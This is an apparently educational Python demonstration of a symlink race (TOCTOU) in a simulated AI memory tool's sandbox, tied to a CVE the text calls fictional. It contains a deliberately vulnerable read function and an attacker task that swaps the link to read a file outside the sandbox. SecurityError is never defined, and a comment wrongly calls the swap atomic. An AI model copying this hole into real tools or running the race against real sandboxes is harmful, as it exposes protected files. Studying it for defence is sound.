Vulnerable code sample

import asyncio
import os
import pathlib
import tempfile

# This code represents the logic vulnerable to a Time-of-Check to Time-of-Use (TOCTOU)
# race condition as described in the fictional CVE-2026-34452.
# The vulnerability lies in validating a resolved path but then using the original,
# unresolved path for the file operation.

# Represents the sandboxed directory for the memory tool.
SANDBOX_DIR = "sandbox_memory"
# The path supplied by the "model", which is a symlink.
MODEL_SUPPLIED_PATH = "user_data.txt"
# A secret file outside the sandbox.
SECRET_FILE_PATH = "top_secret.txt"
SECRET_CONTENT = "sensitive information has been leaked"


async def vulnerable_async_read_file(base_dir: pathlib.Path, file_path: str):
    """
    A function that simulates the vulnerable async local filesystem memory tool.
    """
    full_path_to_check = base_dir / file_path

    # --- TIME-OF-CHECK ---
    # 1. The code resolves symlinks and checks if the resulting real path is
    #    safely within the sandbox directory.
    try:
        resolved_path = full_path_to_check.resolve(strict=True)
        if not str(resolved_path).startswith(str(base_dir.resolve(strict=True))):
            raise SecurityError("Path traversal attempt detected.")
        print(f"[CHECK] OK: Resolved path '{resolved_path}' is inside the sandbox.")
    except (FileNotFoundError, SecurityError) as e:
        print(f"[CHECK] FAILED: {e}")
        return

    # 2. A delay is introduced to simulate I/O latency or task switching in an async
    #    environment. This opens the window for a race condition.
    print("[INFO] Performing other async operations (e.g., I/O, network)...")
    await asyncio.sleep(0.1)

    # --- TIME-OF-USE ---
    # 3. The vulnerability: The code now uses the ORIGINAL, UNRESOLVED path for the
    #    file operation. If the symlink was swapped during the sleep, this `open`
    #    call will follow the malicious new link.
    print(f"[USE] Opening original path: '{full_path_to_check}'")
    try:
        with open(full_path_to_check, "r") as f:
            content = f.read()
        print("\n--- VULNERABILITY EXPLOITED ---")
        print(f"Successfully read content from outside the sandbox: '{content.strip()}'")
        return content
    except FileNotFoundError:
        print("[USE] FAILED: File not found at time of use.")
    except Exception as e:
        print(f"[USE] FAILED: An error occurred: {e}")


async def attacker(sandbox_path: pathlib.Path, secret_path: pathlib.Path):
    """
    Waits for the check to complete, then swaps the symlink to point outside the sandbox.
    """
    # Wait for a short period, assuming the check has passed in the victim task.
    await asyncio.sleep(0.05)

    link_path = sandbox_path / MODEL_SUPPLIED_PATH
    print(f"\n[ATTACKER] Swapping symlink '{link_path}'")
    print(f"[ATTACKER]  - Old target: '{os.readlink(link_path)}'")
    
    # The attack: Atomically replace the safe symlink with a malicious one.
    os.remove(link_path)
    os.symlink(secret_path, link_path)
    
    print(f"[ATTACKER]  - New target: '{os.readlink(link_path)}'\n")


async def main():
    """
    Sets up the environment and runs the victim and attacker concurrently.
    """
    with tempfile.TemporaryDirectory() as tmpdir:
        root = pathlib.Path(tmpdir)
        sandbox = root / SANDBOX_DIR
        secret_file = root / SECRET_FILE_PATH
        
        # 1. Create the sandbox directory.
        os.makedirs(sandbox)
        
        # 2. Create the secret file outside the sandbox.
        secret_file.write_text(SECRET_CONTENT)
        
        # 3. Create an initial, legitimate file inside the sandbox.
        safe_file = sandbox / "safe_data.txt"
        safe_file.write_text("this is legitimate data")
        
        # 4. Create the initial symlink pointing to the legitimate file.
        #    This is the state when the "check" will be performed.
        link_in_sandbox = sandbox / MODEL_SUPPLIED_PATH
        os.symlink(safe_file.name, link_in_sandbox)

        print("--- SETUP ---")
        print(f"Sandbox Directory: {sandbox.resolve()}")
        print(f"Secret File:       {secret_file.resolve()}")
        print(f"Initial symlink '{link_in_sandbox}' points to '{os.readlink(link_in_sandbox)}'")
        print("-" * 13)

        # 5. Run the victim (vulnerable tool) and the attacker concurrently.
        victim_task = asyncio.create_task(
            vulnerable_async_read_file(sandbox, MODEL_SUPPLIED_PATH)
        )
        attacker_task = asyncio.create_task(
            attacker(sandbox, secret_file)
        )

        await asyncio.gather(victim_task, attacker_task)


if __name__ == "__main__":
    asyncio.run(main())